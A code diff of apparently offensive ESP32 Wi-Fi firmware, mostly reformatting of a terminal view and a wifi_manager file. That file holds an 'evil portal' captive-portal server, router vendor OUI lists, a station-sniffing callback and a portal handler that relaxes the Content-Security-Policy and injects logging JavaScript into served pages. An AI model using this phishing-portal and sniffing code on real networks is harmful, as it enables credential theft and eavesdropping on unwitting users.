lv_obj_create(lv_scr_act()); + lv_obj_set_size(terminal_view.root, LV_HOR_RES, LV_VER_RES); + lv_obj_set_style_bg_color(terminal_view.root, lv_color_black(), 0); + lv_obj_set_scrollbar_mode(terminal_view.root, LV_SCROLLBAR_MODE_OFF); + + terminal_textarea = lv_textarea_create(terminal_view.root); + + // text + lv_obj_set_style_bg_color(terminal_textarea, lv_color_black(), 0); + lv_obj_set_style_bg_opa(terminal_textarea, LV_OPA_TRANSP, + 0); // Make background transparent + lv_textarea_set_one_line(terminal_textarea, false); + lv_textarea_set_text(terminal_textarea, ""); + lv_obj_set_size(terminal_textarea, LV_HOR_RES, LV_VER_RES); + lv_obj_set_style_text_color(terminal_textarea, lv_color_hex(0x00FF00), 0); + lv_obj_set_style_text_font(terminal_textarea, &lv_font_montserrat_10, 0); + lv_obj_set_style_border_width(terminal_textarea, 0, 0); + + // scrolling + lv_obj_set_scrollbar_mode(terminal_textarea, LV_SCROLLBAR_MODE_AUTO); + lv_obj_set_scroll_snap_y(terminal_textarea, LV_SCROLL_SNAP_NONE); + lv_obj_set_style_anim_time(terminal_textarea, 150, 0); + + lv_textarea_set_text_selection(terminal_textarea, false); + lv_textarea_set_password_mode(terminal_textarea, false); + lv_textarea_set_cursor_click_pos(terminal_textarea, + false); // Disable cursor positioning + lv_obj_add_flag(terminal_textarea, + LV_OBJ_FLAG_SCROLL_CHAIN); // Enable scroll chain + lv_obj_clear_flag(terminal_textarea, + LV_OBJ_FLAG_CLICKABLE); // Disable clicking + + display_manager_add_status_bar("Terminal"); + + // Process any queued messages after terminal is ready + process_queued_messages(); } void terminal_view_destroy(void) { - terminal_active = false; - is_stopping = true; - clear_message_queue(); // Clear any pending messages when destroying view - - // Wait a bit for pending operations - vTaskDelay(pdMS_TO_TICKS(50)); - - if (terminal_mutex) { - if (xSemaphoreTake(terminal_mutex, pdMS_TO_TICKS(200)) == pdTRUE) { - vSemaphoreDelete(terminal_mutex); - terminal_mutex = NULL; - } - } + terminal_active = false; + is_stopping = true; + clear_message_queue(); // Clear any pending messages when destroying view - if (terminal_view.root != NULL) { - lv_obj_del(terminal_view.root); - terminal_view.root = NULL; - terminal_textarea = NULL; + // Wait a bit for pending operations + vTaskDelay(pdMS_TO_TICKS(50)); + + if (terminal_mutex) { + if (xSemaphoreTake(terminal_mutex, pdMS_TO_TICKS(200)) == pdTRUE) { + vSemaphoreDelete(terminal_mutex); + terminal_mutex = NULL; } - - is_stopping = false; + } + + if (terminal_view.root != NULL) { + lv_obj_del(terminal_view.root); + terminal_view.root = NULL; + terminal_textarea = NULL; + } + + is_stopping = false; } void terminal_view_add_text(const char *text) { - if (!text) return; - - if (is_stopping) return; - - if (!terminal_active || !terminal_textarea) { - queue_message(text); - return; + if (!text) + return; + + if (is_stopping) + return; + + if (!terminal_active || !terminal_textarea) { + queue_message(text); + return; + } + + // Try to take mutex with longer timeout + if (xSemaphoreTake(terminal_mutex, pdMS_TO_TICKS(500)) != pdTRUE) { + ESP_LOGW(TAG, "Failed to acquire terminal mutex"); + queue_message(text); + return; + } + + // Get current text length + const char *current_text = lv_textarea_get_text(terminal_textarea); + size_t current_length = strlen(current_text); + size_t new_text_length = strlen(text); + + // Check if we need to clean up + if (current_length + new_text_length > CLEANUP_THRESHOLD) { + // Find the position to start keeping text + const char *keep_pos = current_text + CLEANUP_AMOUNT; + + // Find the start of the next line to maintain clean output + while (*keep_pos && *keep_pos != '\n') { + keep_pos++; } - - // Try to take mutex with longer timeout - if (xSemaphoreTake(terminal_mutex, pdMS_TO_TICKS(500)) != pdTRUE) { - ESP_LOGW(TAG, "Failed to acquire terminal mutex"); - queue_message(text); - return; + if (*keep_pos == '\n') { + keep_pos++; // Skip the newline } - // Get current text length - const char *current_text = lv_textarea_get_text(terminal_textarea); - size_t current_length = strlen(current_text); - size_t new_text_length = strlen(text); - - // Check if we need to clean up - if (current_length + new_text_length > CLEANUP_THRESHOLD) { - // Find the position to start keeping text - const char *keep_pos = current_text + CLEANUP_AMOUNT; - - // Find the start of the next line to maintain clean output - while (*keep_pos && *keep_pos != '\n') { - keep_pos++; - } - if (*keep_pos == '\n') { - keep_pos++; // Skip the newline - } - - // Set the remaining text - lv_textarea_set_text(terminal_textarea, keep_pos); - } + // Set the remaining text + lv_textarea_set_text(terminal_textarea, keep_pos); + } - // Add new text and scroll to end - lv_textarea_add_text(terminal_textarea, text); - lv_textarea_set_cursor_pos(terminal_textarea, LV_TEXTAREA_CURSOR_LAST); + // Add new text and scroll to end + lv_textarea_add_text(terminal_textarea, text); + lv_textarea_set_cursor_pos(terminal_textarea, LV_TEXTAREA_CURSOR_LAST); - xSemaphoreGive(terminal_mutex); + xSemaphoreGive(terminal_mutex); } void terminal_view_hardwareinput_callback(InputEvent *event) { - if (event->type == INPUT_TYPE_TOUCH) { - int touch_y = event->data.touch_data.point.y; - - if (touch_y < LV_VER_RES / 3) { - scroll_terminal_up(); - } else if (touch_y > (LV_VER_RES * 2) / 3) { - scroll_terminal_down(); - } else { - stop_all_operations(); - return; - } - } else if (event->type == INPUT_TYPE_JOYSTICK) { - int button = event->data.joystick_index; - if (button == 1) { - stop_all_operations(); - return; - } - - if (button == 2) { - scroll_terminal_up(); - } - - if (button == 4) { - scroll_terminal_down(); - } + if (event->type == INPUT_TYPE_TOUCH) { + int touch_y = event->data.touch_data.point.y; + + if (touch_y < LV_VER_RES / 3) { + scroll_terminal_up(); + } else if (touch_y > (LV_VER_RES * 2) / 3) { + scroll_terminal_down(); + } else { + stop_all_operations(); + return; + } + } else if (event->type == INPUT_TYPE_JOYSTICK) { + int button = event->data.joystick_index; + if (button == 1) { + stop_all_operations(); + return; } + + if (button == 2) { + scroll_terminal_up(); + } + + if (button == 4) { + scroll_terminal_down(); + } + } } void terminal_view_get_hardwareinput_callback(void **callback) { - if (callback != NULL) { - *callback = (void *)terminal_view_hardwareinput_callback; - } + if (callback != NULL) { + *callback = (void *)terminal_view_hardwareinput_callback; + } } int custom_log_vprintf(const char *fmt, va_list args) { - char buf[256]; - int len = vsnprintf(buf, sizeof(buf), fmt, args); - if (len < 0) { - return len; - } + char buf[256]; + int len = vsnprintf(buf, sizeof(buf), fmt, args); + if (len < 0) { + return len; + } - terminal_view_add_text(buf); + terminal_view_add_text(buf); - return len; + return len; } -View terminal_view = { - .root = NULL, - .create = terminal_view_create, - .destroy = terminal_view_destroy, - .input_callback = terminal_view_hardwareinput_callback, - .name = "TerminalView", - .get_hardwareinput_callback = terminal_view_get_hardwareinput_callback -}; \ No newline at end of file +View terminal_view = {.root = NULL, + .create = terminal_view_create, + .destroy = terminal_view_destroy, + .input_callback = terminal_view_hardwareinput_callback, + .name = "TerminalView", + .get_hardwareinput_callback = + terminal_view_get_hardwareinput_callback}; \ No newline at end of file diff --git a/main/managers/wifi_manager.c b/main/managers/wifi_manager.c index 09d37d92..cad79b9f 100644 --- a/main/managers/wifi_manager.c +++ b/main/managers/wifi_manager.c @@ -1,37 +1,37 @@ // wifi_manager.c #include "managers/wifi_manager.h" -#include "managers/rgb_manager.h" -#include "managers/ap_manager.h" -#include "managers/settings_manager.h" +#include "esp_crt_bundle.h" +#include "esp_event.h" +#include "esp_http_client.h" +#include "esp_log.h" +#include "esp_timer.h" +#include "esp_wifi.h" #include "freertos/FreeRTOS.h" #include "freertos/event_groups.h" -#include "esp_wifi.h" -#include "esp_log.h" -#include "esp_event.h" +#include "lwip/etharp.h" +#include "lwip/lwip_napt.h" +#include "managers/ap_manager.h" +#include "managers/rgb_manager.h" +#include "managers/settings_manager.h" #include "nvs_flash.h" -#include -#include -#include -#include "esp_timer.h" +#include #include -#include -#include -#include #include -#include "esp_http_client.h" -#include "lwip/lwip_napt.h" -#include "lwip/etharp.h" #include -#include -#include "esp_crt_bundle.h" +#include +#include +#include +#include +#include +#include +#include #ifdef WITH_SCREEN #include "managers/views/music_visualizer.h" #endif // Include Outside so we have access to the Terminal View Macro #include "managers/views/terminal_screen.h" - #define MAX_DEVICES 255 #define CHUNK_SIZE 8192 #define MDNS_NAME_BUF_LEN 65 @@ -39,18 +39,18 @@ #define MAX_PACKETS_PER_SECOND 200 uint16_t ap_count; -wifi_ap_record_t* scanned_aps; +wifi_ap_record_t *scanned_aps; const char *TAG = "WiFiManager"; -char* PORTALURL = ""; -char* domain_str = ""; +char *PORTALURL = ""; +char *domain_str = ""; EventGroupHandle_t wifi_event_group; const int WIFI_CONNECTED_BIT = BIT0; wifi_ap_record_t selected_ap; bool redirect_handled = false; httpd_handle_t evilportal_server = NULL; dns_server_handle_t dns_handle; -esp_netif_t* wifiAP; -esp_netif_t* wifiSTA; +esp_netif_t *wifiAP; +esp_netif_t *wifiSTA; static uint32_t last_packet_time = 0; static uint32_t packet_counter = 0; @@ -59,19 +59,16 @@ struct service_info { const char *type; }; - -struct service_info services[] = { - {"_http", "Web Server Enabled Device"}, - {"_ssh", "SSH Server"}, - {"_ipp", "Printer (IPP)"}, - {"_googlecast", "Google Cast"}, - {"_raop", "AirPlay"}, - {"_smb", "SMB File Sharing"}, - {"_hap", "HomeKit Accessory"}, - {"_spotify-connect", "Spotify Connect Device"}, - {"_printer", "Printer (Generic)"}, - {"_mqtt", "MQTT Broker"} -}; +struct service_info services[] = {{"_http", "Web Server Enabled Device"}, + {"_ssh", "SSH Server"}, + {"_ipp", "Printer (IPP)"}, + {"_googlecast", "Google Cast"}, + {"_raop", "AirPlay"}, + {"_smb", "SMB File Sharing"}, + {"_hap", "HomeKit Accessory"}, + {"_spotify-connect", "Spotify Connect Device"}, + {"_printer", "Printer (Generic)"}, + {"_mqtt", "MQTT Broker"}}; #define NUM_SERVICES (sizeof(services) / sizeof(services[0])) @@ -118,133 +115,116 @@ void configure_hidden_ap() { if (err != ESP_OK) { printf("Failed to set Wi-Fi config: %s\n", esp_err_to_name(err)); } else { - printf("Wi-Fi AP SSID is now hidden.\n"); + printf("Wi-Fi AP SSID hidden.\n"); } } -static void event_handler(void* arg, esp_event_base_t event_base, - int32_t event_id, void* event_data) { +static void event_handler(void *arg, esp_event_base_t event_base, int32_t event_id, + void *event_data) { if (event_base == WIFI_EVENT) { switch (event_id) { - case WIFI_EVENT_AP_START: - printf("AP started\n"); - break; - case WIFI_EVENT_AP_STOP: - printf("AP stopped\n"); - break; - case WIFI_EVENT_AP_STACONNECTED: - printf("Station connected to AP\n"); - break; - case WIFI_EVENT_AP_STADISCONNECTED: - printf("Station disconnected from AP\n"); - break; - case WIFI_EVENT_STA_START: - printf("STA started\n"); - esp_wifi_connect(); - break; - case WIFI_EVENT_STA_DISCONNECTED: - printf("Disconnected from Wi-Fi, retrying...\n"); - esp_wifi_connect(); - break; - default: - break; + case WIFI_EVENT_AP_START: + printf("AP started\n"); + break; + case WIFI_EVENT_AP_STOP: + printf("AP stopped\n"); + break; + case WIFI_EVENT_AP_STACONNECTED: + printf("Station connected to AP\n"); + break; + case WIFI_EVENT_AP_STADISCONNECTED: + printf("Station disconnected from AP\n"); + break; + case WIFI_EVENT_STA_START: + printf("STA started\n"); + esp_wifi_connect(); + break; + case WIFI_EVENT_STA_DISCONNECTED: + printf("Disconnected from Wi-Fi\nRetrying...\n"); + esp_wifi_connect(); + break; + default: + break; } } else if (event_base == IP_EVENT) { switch (event_id) { - case IP_EVENT_STA_GOT_IP: - break; - case IP_EVENT_AP_STAIPASSIGNED: - printf("Assigned IP to STA\n"); - break; - default: - break; + case IP_EVENT_STA_GOT_IP: + break; + case IP_EVENT_AP_STAIPASSIGNED: + printf("Assigned IP to STA\n"); + break; + default: + break; } } } // OUI lists for each company const char *dlink_ouis[] = { - "00055D", "000D88", "000F3D", "001195", "001346", "0015E9", "00179A", - "00195B", "001B11", "001CF0", "001E58", "002191", "0022B0", "002401", - "00265A", "00AD24", "04BAD6", "085A11", "0C0E76", "0CB6D2", "1062EB", - "10BEF5", "14D64D", "180F76", "1C5F2B", "1C7EE5", "1CAFF7", "1CBDB9", - "283B82", "302303", "340804", "340A33", "3C1E04", "3C3332", "4086CB", - "409BCD", "54B80A", "5CD998", "60634C", "642943", "6C198F", "6C7220", - "744401", "74DADA", "78321B", "78542E", "7898E8", "802689", "84C9B2", - "8876B9", "908D78", "9094E4", "9CD643", "A06391", "A0AB1B", "A42A95", - "A8637D", "ACF1DF", "B437D8", "B8A386", "BC0F9A", "BC2228", "BCF685", - "C0A0BB", "C4A81D", "C4E90A", "C8787D", "C8BE19", "C8D3A3", "CCB255", - "D8FEE3", "DCEAE7", "E01CFC", "E46F13", "E8CC18", "EC2280", "ECADE0", - "F07D68", "F0B4D2", "F48CEB", "F8E903", "FC7516" - }; + "00055D", "000D88", "000F3D", "001195", "001346", "0015E9", "00179A", "00195B", "001B11", + "001CF0", "001E58", "002191", "0022B0", "002401", "00265A", "00AD24", "04BAD6", "085A11", + "0C0E76", "0CB6D2", "1062EB", "10BEF5", "14D64D", "180F76", "1C5F2B", "1C7EE5", "1CAFF7", + "1CBDB9", "283B82", "302303", "340804", "340A33", "3C1E04", "3C3332", "4086CB", "409BCD", + "54B80A", "5CD998", "60634C", "642943", "6C198F", "6C7220", "744401", "74DADA", "78321B", + "78542E", "7898E8", "802689", "84C9B2", "8876B9", "908D78", "9094E4", "9CD643", "A06391", + "A0AB1B", "A42A95", "A8637D", "ACF1DF", "B437D8", "B8A386", "BC0F9A", "BC2228", "BCF685", + "C0A0BB", "C4A81D", "C4E90A", "C8787D", "C8BE19", "C8D3A3", "CCB255", "D8FEE3", "DCEAE7", + "E01CFC", "E46F13", "E8CC18", "EC2280", "ECADE0", "F07D68", "F0B4D2", "F48CEB", "F8E903", + "FC7516"}; const char *netgear_ouis[] = { - "00095B", "000FB5", "00146C", "001B2F", "001E2A", "001F33", "00223F", - "00224B2", "0026F2", "008EF2", "08028E", "0836C9", "08BD43", "100C6B", - "100D7F", "10DA43", "1459C0", "204E7F", "20E52A", "288088", "289401", - "28C68E", "2C3033", "2CB05D", "30469A", "3498B5", "3894ED", "3C3786", - "405D82", "44A56E", "4C60DE", "504A6E", "506A03", "54077D", "58EF68", - "6038E0", "6CB0CE", "6CCDD6", "744401", "803773", "841B5E", "8C3BAD", - "941865", "9C3DCF", "9CC9EB", "9CD36D", "A00460", "A021B7", "A040A0", - "A42B8C", "B03956", "B07FB9", "B0B98A", "BCA511", "C03F0E", "C0FFD4", - "C40415", "C43DC7", "C89E43", "CC40D0", "DCEF09", "E0469A", "E046EE", - "E091F5", "E4F4C6", "E8FCAF", "F87394" - }; -const char *belkin_ouis[] = { - "001150", "00173F", "0030BD", "08BD43", "149182", "24F5A2", "302303", - "80691A", "94103E", "944452", "B4750E", "C05627", "C4411E", "D8EC5E", - "E89F80", "EC1A59", "EC2280" - }; -const char *tplink_ouis[] = { - "003192", "005F67", "1027F5", "14EBB6", "1C61B4", "203626", "2887BA", - "30DE4B", "3460F9", "3C52A1", "40ED00", "482254", "5091E3", "54AF97", - "5C628B", "5CA6E6", "5CE931", "60A4B7", "687FF0", "6C5AB0", "788CB5", - "7CC2C6", "9C5322", "9CA2F4", "A842A1", "AC15A2", "B0A7B9", "B4B024", - "C006C3", "CC68B6", "E848B8", "F0A731" - }; + "00095B", "000FB5", "00146C", "001B2F", "001E2A", "001F33", "00223F", "00224B2", "0026F2", + "008EF2", "08028E", "0836C9", "08BD43", "100C6B", "100D7F", "10DA43", "1459C0", "204E7F", + "20E52A", "288088", "289401", "28C68E", "2C3033", "2CB05D", "30469A", "3498B5", "3894ED", + "3C3786", "405D82", "44A56E", "4C60DE", "504A6E", "506A03", "54077D", "58EF68", "6038E0", + "6CB0CE", "6CCDD6", "744401", "803773", "841B5E", "8C3BAD", "941865", "9C3DCF", "9CC9EB", + "9CD36D", "A00460", "A021B7", "A040A0", "A42B8C", "B03956", "B07FB9", "B0B98A", "BCA511", + "C03F0E", "C0FFD4", "C40415", "C43DC7", "C89E43", "CC40D0", "DCEF09", "E0469A", "E046EE", + "E091F5", "E4F4C6", "E8FCAF", "F87394"}; +const char *belkin_ouis[] = {"001150", "00173F", "0030BD", "08BD43", "149182", "24F5A2", + "302303", "80691A", "94103E", "944452", "B4750E", "C05627", + "C4411E", "D8EC5E", "E89F80", "EC1A59", "EC2280"}; +const char *tplink_ouis[] = {"003192", "005F67", "1027F5", "14EBB6", "1C61B4", "203626", "2887BA", + "30DE4B", "3460F9", "3C52A1", "40ED00", "482254", "5091E3", "54AF97", + "5C628B", "5CA6E6", "5CE931", "60A4B7", "687FF0", "6C5AB0", "788CB5", + "7CC2C6", "9C5322", "9CA2F4", "A842A1", "AC15A2", "B0A7B9", "B4B024", + "C006C3", "CC68B6", "E848B8", "F0A731"}; const char *linksys_ouis[] = { - "00045A", "000625", "000C41", "000E08", "000F66", "001217", "001310", - "0014BF", "0016B6", "001839", "0018F8", "001A70", "001C10", "001D7E", - "001EE5", "002129", "00226B", "002369", "00259C", "002354", "0024B2", - "003192", "005F67", "1027F5", "14EBB6", "1C61B4", "203626", "2887BA", - "305A3A", "2CFDA1", "302303", "30469A", "40ED00", "482254", "5091E3", - "54AF97", "5CA2F4", "5CA6E6", "5CE931", "60A4B7", "687FF0", "6C5AB0", - "788CB5", "7CC2C6", "9C5322", "9CA2F4", "A842A1", "AC15A2", "B0A7B9", - "B4B024", "C006C3", "CC68B6", "E848B8", "F0A731" - }; + "00045A", "000625", "000C41", "000E08", "000F66", "001217", "001310", "0014BF", "0016B6", + "001839", "0018F8", "001A70", "001C10", "001D7E", "001EE5", "002129", "00226B", "002369", + "00259C", "002354", "0024B2", "003192", "005F67", "1027F5", "14EBB6", "1C61B4", "203626", + "2887BA", "305A3A", "2CFDA1", "302303", "30469A", "40ED00", "482254", "5091E3", "54AF97", + "5CA2F4", "5CA6E6", "5CE931", "60A4B7", "687FF0", "6C5AB0", "788CB5", "7CC2C6", "9C5322", + "9CA2F4", "A842A1", "AC15A2", "B0A7B9", "B4B024", "C006C3", "CC68B6", "E848B8", "F0A731"}; const char *asus_ouis[] = { - "000C6E", "000EA6", "00112F", "0011D8", "0013D4", "0015F2", "001731", - "0018F3", "001A92", "001BFC", "001D60", "001E8C", "001FC6", "002215", - "002354", "00248C", "002618", "00E018", "04421A", "049226", "04D4C4", - "04D9F5", "08606E", "086266", "08BFB8", "0C9D92", "107B44", "107C61", - "10BF48", "10C37B", "14DAE9", "14DDA9", "1831BF", "1C872C", "1CB72C", - "20CF30", "244BFE", "2C4D54", "2C56DC", "2CFDA1", "305A3A", "3085A9", - "3497F6", "382C4A", "38D547", "3C7C3F", "40167E", "40B076", "485B39", - "4CEDFB", "50465D", "50EBF6", "5404A6", "54A050", "581122", "6045CB", - "60A44C", "60CF84", "704D7B", "708BCD", "74D02B", "7824AF", "7C10C9", - "88D7F6", "90E6BA", "9C5C8E", "A036BC", "A85E45", "AC220B", "AC9E17", - "B06EBF", "BCAEC5", "BCEE7B", "C86000", "C87F54", "CC28AA", "D017C2", - "D45D64", "D850E6", "E03F49", "E0CB4E", "E89C25", "F02F74", "F07959", - "F46D04", "F832E4", "FC3497", "FCC233" - }; -const char *actiontec_ouis[] = { - "000FB3", "001505", "001801", "001EA7", "001F90", "0020E0", "00247B", - "002662", "0026B8", "007F28", "0C6127", "105F06", "10785B", "109FA9", - "181BEB", "207600", "408B07", "4C8B30", "5C35FC", "7058A4", "70F196", - "70F220", "84E892", "941C56", "9C1E95", "A0A3E2", "A83944", "E86FF2", - "F8E4FB", "FC2BB2" -}; - -// WiFi event handler (same as before) -static void wifi_event_handler(void *arg, esp_event_base_t event_base, int32_t event_id, void *event_data) { + "000C6E", "000EA6", "00112F", "0011D8", "0013D4", "0015F2", "001731", "0018F3", "001A92", + "001BFC", "001D60", "001E8C", "001FC6", "002215", "002354", "00248C", "002618", "00E018", + "04421A", "049226", "04D4C4", "04D9F5", "08606E", "086266", "08BFB8", "0C9D92", "107B44", + "107C61", "10BF48", "10C37B", "14DAE9", "14DDA9", "1831BF", "1C872C", "1CB72C", "20CF30", + "244BFE", "2C4D54", "2C56DC", "2CFDA1", "305A3A", "3085A9", "3497F6", "382C4A", "38D547", + "3C7C3F", "40167E", "40B076", "485B39", "4CEDFB", "50465D", "50EBF6", "5404A6", "54A050", + "581122", "6045CB", "60A44C", "60CF84", "704D7B", "708BCD", "74D02B", "7824AF", "7C10C9", + "88D7F6", "90E6BA", "9C5C8E", "A036BC", "A85E45", "AC220B", "AC9E17", "B06EBF", "BCAEC5", + "BCEE7B", "C86000", "C87F54", "CC28AA", "D017C2", "D45D64", "D850E6", "E03F49", "E0CB4E", + "E89C25", "F02F74", "F07959", "F46D04", "F832E4", "FC3497", "FCC233"}; +const char *actiontec_ouis[] = {"000FB3", "001505", "001801", "001EA7", "001F90", "0020E0", + "00247B", "002662", "0026B8", "007F28", "0C6127", "105F06", + "10785B", "109FA9", "181BEB", "207600", "408B07", "4C8B30", + "5C35FC", "7058A4", "70F196", "70F220", "84E892", "941C56", + "9C1E95", "A0A3E2", "A83944", "E86FF2", "F8E4FB", "FC2BB2"}; + +static void wifi_event_handler(void *arg, esp_event_base_t event_base, int32_t event_id, + void *event_data) { if (event_base == WIFI_EVENT && event_id == WIFI_EVENT_STA_START) { - printf("WiFi started, ready to scan.\n"); + printf("WiFi started.\nReady to scan.\n"); + TERMINAL_VIEW_ADD_TEXT("WiFi started.\nReady to scan.\n"); } else if (event_base == WIFI_EVENT && event_id == WIFI_EVENT_STA_DISCONNECTED) { - printf("Disconnected from WiFi\n"); + printf("WiFi disconnected\n"); + TERMINAL_VIEW_ADD_TEXT("WiFi disconnected\n"); xEventGroupClearBits(wifi_event_group, WIFI_CONNECTED_BIT); - } - else if (event_base == IP_EVENT && event_id == IP_EVENT_STA_GOT_IP) { + } else if (event_base == IP_EVENT && event_id == IP_EVENT_STA_GOT_IP) { ip_event_got_ip_t *event = (ip_event_got_ip_t *)event_data; printf("Got IP: " IPSTR, IP2STR(&event->ip_info.ip)); + TERMINAL_VIEW_ADD_TEXT("Got IP: " IPSTR, IP2STR(&event->ip_info.ip)); xEventGroupSetBits(wifi_event_group, WIFI_CONNECTED_BIT); } } @@ -255,13 +235,13 @@ static void generate_random_ssid(char *ssid, size_t length) { int random_index = esp_random() % (sizeof(charset) - 1); ssid[i] = charset[random_index]; } - ssid[length - 1] = '\0'; // Null-terminate the SSID + ssid[length - 1] = '\0'; // Null-terminate the SSID } static void generate_random_mac(uint8_t *mac) { - esp_fill_random(mac, 6); // Fill MAC address with random bytes - mac[0] &= 0xFE; // Unicast MAC address (least significant bit of the first byte should be 0) - mac[0] |= 0x02; // Locally administered MAC address (set the second least significant bit) + esp_fill_random(mac, 6); // Fill MAC address with random bytes + mac[0] &= 0xFE; // Unicast MAC address (least significant bit of the first byte should be 0) + mac[0] |= 0x02; // Locally administered MAC address (set the second least significant bit) } static bool station_exists(const uint8_t *station_mac, const uint8_t *ap_bssid) { @@ -282,9 +262,10 @@ static void add_station_ap_pair(const uint8_t *station_mac, const uint8_t *ap_bs station_count++; // Print formatted MAC addresses - + } else { - printf("Station list is full, can't add more stations.\n"); + printf("Station list full\nCan't add more stations.\n"); + TERMINAL_VIEW_ADD_TEXT("Station list full\nCan't add more stations.\n"); } } @@ -355,30 +336,27 @@ void wifi_stations_sniffer_callback(void *buf, wifi_promiscuous_pkt_type_t type) const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)packet->payload; const wifi_ieee80211_hdr_t *hdr = &ipkt->hdr; - const uint8_t *src_mac = hdr->addr2; // Station MAC const uint8_t *dest_mac = hdr->addr1; // AP BSSID - - printf("station MAC: %02X:%02X:%02X:%02X:%02X:%02X -> AP BSSID: %02X:%02X:%02X:%02X:%02X:%02X\n", - src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5], - dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5]); + + printf( + "station MAC: %02X:%02X:%02X:%02X:%02X:%02X -> AP BSSID: %02X:%02X:%02X:%02X:%02X:%02X\n", + src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5], dest_mac[0], + dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5]); } esp_err_t stream_data_to_client(httpd_req_t *req, const char *url, const char *content_type) { printf("Requesting URL: %s\n", url); - if (strstr(url, "/mnt") != NULL) { printf("URL points to a local file: %s\n", url); - FILE *file = fopen(url, "r"); if (file == NULL) { printf("Failed to open file: %s\n", url); return ESP_FAIL; } - if (content_type) { printf("Content-Type: %s\n", content_type); httpd_resp_set_type(req, content_type); @@ -388,7 +366,6 @@ esp_err_t stream_data_to_client(httpd_req_t *req, const char *url, const char *c } httpd_resp_set_status(req, "200 OK"); - char *buffer = (char *)malloc(CHUNK_SIZE + 1); if (buffer == NULL) { printf("Failed to allocate memory for buffer\n"); @@ -396,7 +373,6 @@ esp_err_t stream_data_to_client(httpd_req_t *req, const char *url, const char *c return ESP_FAIL; } - int read_len; while ((read_len = fread(buffer, 1, CHUNK_SIZE, file)) > 0) { if (httpd_resp_send_chunk(req, buffer, read_len) != ESP_OK) { @@ -405,9 +381,8 @@ esp_err_t stream_data_to_client(httpd_req_t *req, const char *url, const char *c } } - if (feof(file)) { - printf("Finished reading all data from file\n"); + printf("Finished reading data from file\n"); } else if (ferror(file)) { printf("Error reading file\n"); } @@ -427,7 +402,12 @@ esp_err_t stream_data_to_client(httpd_req_t *req, const char *url, const char *c .timeout_ms = 5000, .crt_bundle_attach = esp_crt_bundle_attach, .transport_type = HTTP_TRANSPORT_OVER_SSL, - .user_agent = "Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-G973U) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/14.2 Chrome/87.0.4280.141 Mobile Safari/537.36", // Browser-like User-Agent string + .user_agent = "Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-G973U) " + "AppleWebKit/537.36 (KHTML, like " + "Gecko) SamsungBrowser/14.2 Chrome/87.0.4280.141 Mobile " + "Safari/537.36", // Browser-like + // User-Agent + // string .disable_auto_redirect = false, }; @@ -448,11 +428,12 @@ esp_err_t stream_data_to_client(httpd_req_t *req, const char *url, const char *c printf("Final HTTP Status code: %d\n", http_status); if (http_status == 200) { - printf("Received 200 OK. Re-opening connection for manual streaming...\n"); + printf("Received 200 OK\nRe-opening connection for manual streaming...\n"); err = esp_http_client_open(client, 0); if (err != ESP_OK) { - printf("Failed to re-open HTTP connection for streaming: %s\n", esp_err_to_name(err)); + printf("Failed to re-open HTTP connection for streaming: %s\n", + esp_err_to_name(err)); esp_http_client_cleanup(client); return ESP_FAIL; } @@ -468,12 +449,12 @@ esp_err_t stream_data_to_client(httpd_req_t *req, const char *url, const char *c httpd_resp_set_type(req, "application/octet-stream"); } - httpd_resp_set_hdr(req, "Content-Security-Policy", - "default-src 'self' 'unsafe-inline' data: blob:; " - "script-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob:; " - "style-src 'self' 'unsafe-inline' data:; " - "img-src 'self' 'unsafe-inline' data: blob:; " - "connect-src 'self' data: blob:;"); + httpd_resp_set_hdr(req, "Content-Security-Policy", + "default-src 'self' 'unsafe-inline' data: blob:; " + "script-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob:; " + "style-src 'self' 'unsafe-inline' data:; " + "img-src 'self' 'unsafe-inline' data: blob:; " + "connect-src 'self' data: blob:;"); httpd_resp_set_status(req, "200 OK"); char *buffer = (char *)malloc(CHUNK_SIZE + 1); @@ -517,7 +498,8 @@ esp_err_t stream_data_to_client(httpd_req_t *req, const char *url, const char *c " })\n" " .catch(error => console.error('Error logging:', error));\n" "};\n"; - if (httpd_resp_send_chunk(req, javascript_code, strlen(javascript_code)) != ESP_OK) { + if (httpd_resp_send_chunk(req, javascript_code, strlen(javascript_code)) != + ESP_OK) { printf("Failed to send custom JavaScript\n"); } } @@ -537,7 +519,7 @@ esp_err_t stream_data_to_client(httpd_req_t *req, const char *url, const char *c } } -const char* get_content_type(const char *uri) { +const char *get_content_type(const char *uri) { if (strstr(uri, ".css")) { return "text/css"; } else if (strstr(uri, ".js")) { @@ -549,16 +531,16 @@ const char* get_content_type(const char *uri) { } else if (strstr(uri, ".gif")) { return "image/gif"; } - return "application/octet-stream"; // Default to binary stream if unknown + return "application/octet-stream"; // Default to binary stream if unknown } -const char* get_host_from_req(httpd_req_t *req) { +const char *get_host_from_req(httpd_req_t *req) { size_t buf_len = httpd_req_get_hdr_value_len(req, "Host") + 1; if (buf_len > 1) { char *host = malloc(buf_len); if (httpd_req_get_hdr_value_str(req, "Host", host, buf_len) == ESP_OK) { printf("Host header found: %s\n", host); - return host; // Caller must free() this memory + return host; // Caller must free() this memory } free(host); } @@ -574,7 +556,6 @@ void build_file_url(const char *host, const char *uri, char *file_url, size_t ma esp_err_t file_handler(httpd_req_t *req) { const char *uri = req->uri; - const char *host = get_host_from_req(req); if (host == NULL) { httpd_resp_set_status(req, "400 Bad Request"); @@ -582,15 +563,12 @@ esp_err_t file_handler(httpd_req_t *req) { return ESP_FAIL; } - char file_url[512]; build_file_url(host, uri, file_url, sizeof(file_url)); - const char *content_type = get_content_type(uri); printf("Determined content type: %s for URI: %s\n", content_type, uri); - esp_err_t result = stream_data_to_client(req, file_url, content_type); free((void *)host); @@ -598,19 +576,19 @@ esp_err_t file_handler(httpd_req_t *req) { return result; } - esp_err_t portal_handler(httpd_req_t *req) { printf("Client requested URL: %s\n", req->uri); - esp_err_t err = stream_data_to_client(req, PORTALURL, "text/html"); - + if (err != ESP_OK) { const char *err_msg = esp_err_to_name(err); char error_message[512]; - snprintf(error_message, sizeof(error_message), - "

Failed to fetch portal content

Error: %s

